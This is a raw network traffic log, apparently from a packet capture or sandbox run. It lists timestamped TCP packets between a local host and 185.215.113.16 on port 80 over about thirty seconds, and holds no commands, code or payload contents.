Jul 26, 2024 13:44:12.999511003 CEST	53655	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:13.005425930 CEST	80	53656	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:13.813911915 CEST	80	53656	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:13.813982010 CEST	53656	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:13.814675093 CEST	53656	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:13.826699018 CEST	80	53656	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:14.070489883 CEST	80	53656	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:14.070614100 CEST	53656	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:14.180802107 CEST	53656	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:14.181222916 CEST	53657	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:14.189037085 CEST	80	53657	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:14.189133883 CEST	53657	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:14.189224005 CEST	53657	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:14.189519882 CEST	80	53656	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:14.189569950 CEST	53656	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:14.197176933 CEST	80	53657	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:14.946468115 CEST	80	53657	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:14.946571112 CEST	53657	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:14.947299957 CEST	53657	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:14.952095985 CEST	80	53657	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:15.200756073 CEST	80	53657	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:15.201004982 CEST	53657	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:15.305988073 CEST	53657	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:15.306169987 CEST	53658	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:15.311633110 CEST	80	53658	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:15.311773062 CEST	53658	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:15.311961889 CEST	53658	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:15.313101053 CEST	80	53657	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:15.313169956 CEST	53657	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:15.320080996 CEST	80	53658	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:16.117976904 CEST	80	53658	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:16.118113041 CEST	53658	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:16.118776083 CEST	53658	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:16.123625040 CEST	80	53658	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:16.517405987 CEST	80	53658	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:16.517524004 CEST	53658	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:16.633784056 CEST	53658	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:16.634038925 CEST	53659	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:16.641565084 CEST	80	53659	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:16.643151999 CEST	80	53658	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:16.643260956 CEST	53659	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:16.643260956 CEST	53658	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:16.643441916 CEST	53659	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:16.648313999 CEST	80	53659	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:17.400667906 CEST	80	53659	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:17.400877953 CEST	53659	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:17.401375055 CEST	53659	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:17.409125090 CEST	80	53659	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:17.661652088 CEST	80	53659	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:17.662425041 CEST	53659	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:17.774431944 CEST	53659	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:17.774817944 CEST	53660	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:17.779953003 CEST	80	53660	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:17.780057907 CEST	53660	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:17.780222893 CEST	53660	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:17.780574083 CEST	80	53659	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:17.782419920 CEST	53659	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:17.785043955 CEST	80	53660	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:18.545650959 CEST	80	53660	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:18.545928001 CEST	53660	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:18.546478033 CEST	53660	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:18.551469088 CEST	80	53660	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:18.798448086 CEST	80	53660	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:18.798705101 CEST	53660	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:18.899571896 CEST	53660	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:18.899826050 CEST	53661	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:18.934711933 CEST	80	53661	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:18.934814930 CEST	53661	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:18.934989929 CEST	53661	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:18.938724041 CEST	80	53660	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:18.938803911 CEST	53660	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:18.942217112 CEST	80	53661	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:19.691845894 CEST	80	53661	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:19.691917896 CEST	53661	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:19.694761038 CEST	53661	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:19.701617002 CEST	80	53661	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:19.945610046 CEST	80	53661	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:19.946427107 CEST	53661	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:20.057265043 CEST	53661	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:20.060513020 CEST	53662	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:20.250878096 CEST	80	53662	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:20.250974894 CEST	53662	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:20.251146078 CEST	53662	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:20.251728058 CEST	80	53661	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:20.251769066 CEST	53661	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:20.258990049 CEST	80	53662	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:21.031054974 CEST	80	53662	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:21.031168938 CEST	53662	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:21.039736032 CEST	53662	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:21.046308041 CEST	80	53662	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:21.316771984 CEST	80	53662	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:21.317024946 CEST	53662	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:21.431251049 CEST	53663	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:21.431291103 CEST	53662	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:21.440087080 CEST	80	53663	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:21.440582037 CEST	53663	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:21.440730095 CEST	53663	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:21.444173098 CEST	80	53662	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:21.444557905 CEST	53662	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:21.450107098 CEST	80	53663	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:22.227663994 CEST	80	53663	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:22.227781057 CEST	53663	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:22.228288889 CEST	53663	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:22.235132933 CEST	80	53663	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:22.486747026 CEST	80	53663	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:22.486928940 CEST	53663	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:22.602698088 CEST	53663	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:22.602849960 CEST	53664	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:22.609375000 CEST	80	53664	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:22.609499931 CEST	53664	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:22.609695911 CEST	53664	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:22.610349894 CEST	80	53663	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:22.610420942 CEST	53663	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:22.614478111 CEST	80	53664	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:23.420958996 CEST	80	53664	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:23.421139002 CEST	53664	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:23.421750069 CEST	53664	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:23.426651955 CEST	80	53664	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:23.961251974 CEST	80	53664	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:23.961328030 CEST	53664	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:23.962969065 CEST	80	53664	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:23.963025093 CEST	53664	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:24.079319954 CEST	53664	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:24.079603910 CEST	53665	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:24.084851027 CEST	80	53665	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:24.084924936 CEST	53665	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:24.085014105 CEST	53665	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:24.085283041 CEST	80	53664	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:24.085330963 CEST	53664	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:24.089817047 CEST	80	53665	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:24.838655949 CEST	80	53665	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:24.838728905 CEST	53665	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:24.839737892 CEST	53665	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:24.845221996 CEST	80	53665	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:25.088057995 CEST	80	53665	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:25.088159084 CEST	53665	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:25.196358919 CEST	53665	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:25.196712017 CEST	53666	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:25.202445984 CEST	80	53666	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:25.202558994 CEST	53666	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:25.202759981 CEST	53666	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:25.203347921 CEST	80	53665	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:25.203401089 CEST	53665	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:25.207943916 CEST	80	53666	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:25.963359118 CEST	80	53666	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:25.963440895 CEST	53666	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:25.963992119 CEST	53666	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:25.972852945 CEST	80	53666	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:26.213289976 CEST	80	53666	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:26.213413000 CEST	53666	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:26.321377039 CEST	53666	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:26.321769953 CEST	53667	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:26.326904058 CEST	80	53667	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:26.326997042 CEST	53667	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:26.327104092 CEST	53667	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:26.328923941 CEST	80	53666	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:26.328979015 CEST	53666	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:26.334388018 CEST	80	53667	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:27.104212999 CEST	80	53667	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:27.104268074 CEST	53667	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:27.104967117 CEST	53667	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:27.110207081 CEST	80	53667	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:27.351181030 CEST	80	53667	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:27.351249933 CEST	53667	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:27.461833954 CEST	53667	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:27.462133884 CEST	53668	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:27.467411995 CEST	80	53668	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:27.467494011 CEST	53668	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:27.467495918 CEST	80	53667	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:27.467540026 CEST	53667	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:27.467679024 CEST	53668	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:27.473871946 CEST	80	53668	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:28.213622093 CEST	80	53668	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:28.213676929 CEST	53668	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:28.214281082 CEST	53668	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:28.219074965 CEST	80	53668	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:28.828835964 CEST	80	53668	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:28.828912973 CEST	53668	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:28.831890106 CEST	80	53668	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:28.831933975 CEST	53668	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:28.932487965 CEST	53668	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:28.932702065 CEST	53669	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:28.938059092 CEST	80	53669	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:28.938133001 CEST	53669	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:28.938251972 CEST	53669	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:28.938338041 CEST	80	53668	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:28.938383102 CEST	53668	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:28.943119049 CEST	80	53669	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:29.698223114 CEST	80	53669	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:29.698286057 CEST	53669	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:29.720066071 CEST	53669	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:29.725740910 CEST	80	53669	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:29.970496893 CEST	80	53669	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:29.970546007 CEST	53669	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:30.087152958 CEST	53669	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:30.087475061 CEST	53670	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:30.092545986 CEST	80	53670	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:30.092628956 CEST	53670	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:30.092801094 CEST	53670	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:30.093269110 CEST	80	53669	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:30.093317986 CEST	53669	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:30.097800970 CEST	80	53670	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:30.841072083 CEST	80	53670	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:30.841144085 CEST	53670	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:30.841828108 CEST	53670	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:30.846713066 CEST	80	53670	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:31.097278118 CEST	80	53670	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:31.097393036 CEST	53670	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:31.211905003 CEST	53670	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:31.212163925 CEST	53671	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:31.217534065 CEST	80	53671	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:31.217600107 CEST	53671	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:31.217688084 CEST	53671	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:31.217892885 CEST	80	53670	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:31.217940092 CEST	53670	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:31.222512960 CEST	80	53671	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:31.972146034 CEST	80	53671	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:31.972253084 CEST	53671	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:31.972816944 CEST	53671	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:31.977631092 CEST	80	53671	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:32.220459938 CEST	80	53671	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:32.220580101 CEST	53671	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:32.359344959 CEST	53671	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:32.359767914 CEST	53672	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:32.366245031 CEST	80	53671	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:32.366259098 CEST	80	53672	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:32.366288900 CEST	53671	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:32.366324902 CEST	53672	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:32.373944998 CEST	53672	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:32.379018068 CEST	80	53672	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:33.154531002 CEST	80	53672	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:33.154642105 CEST	53672	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:33.155664921 CEST	53672	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:33.161283016 CEST	80	53672	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:33.448235035 CEST	80	53672	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:33.448328972 CEST	53672	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:33.556004047 CEST	53672	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:33.556339025 CEST	53673	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:33.562602043 CEST	80	53673	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:33.562699080 CEST	53673	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:33.562948942 CEST	53673	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:33.567953110 CEST	80	53673	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:33.593986034 CEST	80	53672	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:33.594057083 CEST	53672	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:34.337992907 CEST	80	53673	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:34.338161945 CEST	53673	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:34.338814020 CEST	53673	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:34.344204903 CEST	80	53673	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:34.728729963 CEST	80	53673	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:34.728806973 CEST	53673	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:34.903363943 CEST	53673	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:34.907586098 CEST	53674	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:35.075078964 CEST	80	53673	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:35.075233936 CEST	53673	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:35.083230972 CEST	80	53673	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:35.083278894 CEST	53673	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:35.083331108 CEST	80	53674	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:35.083395004 CEST	53674	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:35.083563089 CEST	53674	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:35.089314938 CEST	80	53674	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:35.864424944 CEST	80	53674	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:35.864509106 CEST	53674	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:35.865273952 CEST	53674	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:35.870832920 CEST	80	53674	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:36.210395098 CEST	80	53674	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:36.210453033 CEST	53674	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:36.321342945 CEST	53674	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:36.321621895 CEST	53675	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:36.326736927 CEST	80	53675	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:36.326834917 CEST	53675	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:36.327007055 CEST	53675	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:36.328437090 CEST	80	53674	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:36.328504086 CEST	53674	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:36.331924915 CEST	80	53675	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:37.088550091 CEST	80	53675	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:37.088628054 CEST	53675	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:37.089238882 CEST	53675	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:37.094455957 CEST	80	53675	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:37.337680101 CEST	80	53675	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:37.337760925 CEST	53675	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:37.505548954 CEST	53675	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:37.505831003 CEST	53676	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:37.527292013 CEST	80	53676	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:37.527313948 CEST	80	53675	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:37.527363062 CEST	53676	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:37.527381897 CEST	53675	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:37.527575970 CEST	53676	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:37.532366037 CEST	80	53676	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:38.278229952 CEST	80	53676	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:38.278322935 CEST	53676	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:38.281565905 CEST	53676	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:38.287215948 CEST	80	53676	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:38.609952927 CEST	80	53676	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:38.610037088 CEST	53676	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:38.711949110 CEST	53676	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:38.712349892 CEST	53677	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:38.717231989 CEST	80	53677	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:38.717417955 CEST	53677	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:38.717453003 CEST	53677	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:38.719286919 CEST	80	53676	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:38.719342947 CEST	53676	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:38.722440958 CEST	80	53677	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:39.893336058 CEST	80	53677	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:39.893390894 CEST	53677	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:39.896759033 CEST	80	53677	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:39.896816969 CEST	53677	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:39.899817944 CEST	80	53677	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:39.899859905 CEST	53677	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:39.910048008 CEST	53677	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:39.914930105 CEST	80	53677	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:40.159702063 CEST	80	53677	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:40.159833908 CEST	53677	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:40.274477005 CEST	53677	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:40.275131941 CEST	53678	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:40.281003952 CEST	80	53678	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:40.281085968 CEST	53678	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:40.281171083 CEST	53678	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:40.282176971 CEST	80	53677	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:40.282232046 CEST	53677	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:40.286124945 CEST	80	53678	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:41.152069092 CEST	80	53678	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:41.152147055 CEST	53678	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:41.152724981 CEST	53678	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:41.157582045 CEST	80	53678	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:41.403776884 CEST	80	53678	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:41.403883934 CEST	53678	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:41.509028912 CEST	53678	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:41.509393930 CEST	53679	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:41.521049976 CEST	80	53679	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:41.521167040 CEST	53679	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:41.521389008 CEST	53679	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:41.522295952 CEST	80	53678	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:41.522357941 CEST	53678	80	192.168.2.5	185.215.113.16
